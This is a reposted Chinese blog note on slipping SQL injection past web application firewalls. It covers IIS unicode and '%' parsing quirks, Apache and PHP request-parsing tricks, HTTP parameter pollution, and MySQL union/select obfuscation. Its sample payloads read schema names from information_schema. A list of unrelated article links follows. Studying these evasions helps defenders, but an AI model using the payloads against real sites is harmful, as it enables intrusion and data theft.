WAF Bypass 笔记(SQL注入篇)

news/2024/12/23 5:53:31/

 

0x01 背景

   waf Bypass 笔记

0x02 服务器特性

1、%特性(ASP+IIS)

在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。

Ps.此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。

2、%u特性(asp+iis和aspx+iis)

Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的s%u006c%u0006ect,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是s%u006c%u0006ect,这样就会形成bypass的可能。

3、另类%u特性(ASP+IIS)

该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有可能转换为同一个字符。 打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。

s%u0065lect->select

s%u00f0lect->select

WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。

测试情况:

s%u0045lect = s%u0065lect = %u00f0lect

u --> %u0055 --> %u0075

n -->%u004e --> %u006e

i -->%u0049 --> %u0069

o -->%u004f --> %u006f -->%u00ba

s -->%u0053 --> %u0073

l -->%u004c --> %u006c

e -->%u0045 --> %u0065-->%u00f0

c -->%u0043 --> %u0063

t -->%u0054 -->%u0074 -->%u00de -->%u00fe

f -->%u0046 -->%u0066

r -->%u0052 -->%u0072

m -->%u004d -->%u006d

 

4、apache畸形method

某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容,如请求为的method为DOTA2,依然返回了aid为2的结果。

php+apache畸形的boundary Php在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为----aaaa,123456,php解析的时候只识别了----aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS。

 

0x03 应用层特性

1、变换请求获取方式

 GET/POST/COOKOE

2、畸形请求方式

 

3、HPP参数污染

HPP是指HTTP参数污染。形如以下形式:

?id=1&id=2&id=3的形式,此种形式在获取id值的时候不同的web技术获取的值是不一样的。

假设提交的参数即为:

id=1&id=2&id=3 
Asp.net + iis:id=1,2,3 
Asp + iis:id=1,2,3 
Php + apache:id=3

0x04 数据库特性

1、MYSQL

第一:参数和union之间的位置

(1):\Nunion的形式:

select * from admin where username=\Nunion  (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

(2):浮点数的形式如1.1,8.0

select * from admin where username=1.1union  (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

(3):8e0的形式:

select * from admin where username=8e0union  (select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

(4): 利用/*!50000*/的形式

select * from admin where username=1/*!50000union*/(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

第二:union和select之前的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%a0

id=1%23%0aunion select 1,2

(2)注释使用空白注释

MYSQL中可以利用的空白字符有:

/**/

/*letmetest*/

3)使用括号

select * from admin where username=8e0union(select 1,(select schema_name from information_schema.SCHEMATA limit 0,1))

第三:union select后的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%a0;

(2)注释

使用空白注释

MYSQL中可以利用的空白字符有:

/**/

/*letmetest*/

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

 

http://www.ppmy.cn/news/938065.html

相关文章

【C语言】指针数组测试题(1万字长文)

江南可采莲,莲叶何田田。鱼戏莲叶间。鱼戏莲叶东,鱼戏莲叶西,鱼戏莲叶南,鱼戏莲叶北。 — 两汉汉乐府《江南》 这篇博客我们将会讲解一些习题,习题是有关于数组和指针的,数组方面的习题也能帮助我们更好的理…

关于xpath相对路径前加点与不加点的区别

最近在用selenium做web工程自动化测试的相关项目,会经常用到元素定位,由于原项目开发中并不是所有关键元素都加有id,所以xpath就成为了使用最为频繁的定位方式。 众所周知,xpath定位分为绝对定位和相对定位,如果以单斜…

sp工具中最疼的是_阴阳师手游:SP鬼切技能PV分析:双形态附加协战?鬼兵部恐成最惨御灵...

在周日暗示即将到来新式神,周一推出新式神PV,周二晚上更新公告确定,阴阳师SP天剑韧心鬼切即将实装百鬼奕,同时公布的还有SP鬼切的技能预览,虽然没有具体说明、数值,但根据这1分多钟的视频,已经可…

CentOS8提高篇11:centos8软件安装dnf命令

DNF是新一代的rpm软件包管理器。它首先出现在 Fedora 18 这个发行版中。而目前,它取代了yum,正式成为从 Fedora 22 起 Fedora 版本的包管理器。 DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用&#xff0c…

SAP ABAP基础通关百宝书【从入门到精通】目录

本文章为《SAP ABAP基础通关百宝书》【从入门到精通】系列的目录以及关于该教程的后续写作计划表 💬【个人网站】:【芒果个人日志】​​​​​​ 💬【专栏地址】: 《SAP ABAP基础通关百宝书》【从入门到精通】https://blog.csdn.n…

SAP工具箱通用条件/加点率配置

一 前言 SAP的定价体系的大致设计思路 通过配置生成条件表 通过存取顺序关联条件表 通过定价方案把相关条件类型关联起来 条件类型按顺序读取条件表,找到为止 定价方案中允许通过备选计算类型增强条件的金额 备选计算类型最终确定条件的金额. 项目中对定价的增强一般…

深度学习——自编码器AutoEncoder

基本概念 概述 自编码器(Autoencoder)是一种无监督学习的神经网络模型,用于学习数据的低维表示。它由编码器(Encoder)和解码器(Decoder)两部分组成,通过将输入数据压缩到低维编码空…

STM32实现MLX90614非接触测温串口显示(标准库与HAL库实现)

目录 模块选择 编程环境 MLX90614基本原理 通信协议(SMBus通信,类IIC通信) 代码实现 STM32与模块之间接线表 1.标准库实现温度采集 2.HAL库实现温度采集 模块选择 STM32F103C8T6 MLX90614 非接触式红外测温传感器 编程环境 KEIL5&…